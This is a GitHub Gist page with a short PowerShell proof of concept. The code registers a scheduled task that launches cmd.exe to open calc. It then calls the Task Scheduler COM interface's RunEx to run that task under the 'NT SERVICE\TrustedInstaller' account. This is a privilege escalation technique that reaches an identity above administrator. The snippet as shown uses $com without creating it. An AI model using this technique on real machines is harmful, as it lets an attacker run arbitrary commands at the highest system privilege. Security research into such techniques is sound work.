Created
May 6, 2020 21:54
-
-
Save farzinenddo/59d70021850f9fc6feb149eb666afa9d to your computer and use it in GitHub Desktop.
Using COM Object for running task under "NT SERVICE\TrustedInstaller" Token
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$task = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c calc" | |
Register-ScheduledTask -TaskName "TestMe" -Action $task | |
$com.Connect() | |
$user = "NT SERVICE\TrustedInstaller" | |
$folder = $com.GetFolder('\') | |
$t = $folder.GetTask('TestMe') | |
$t.RunEx($null,0,0,$user) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment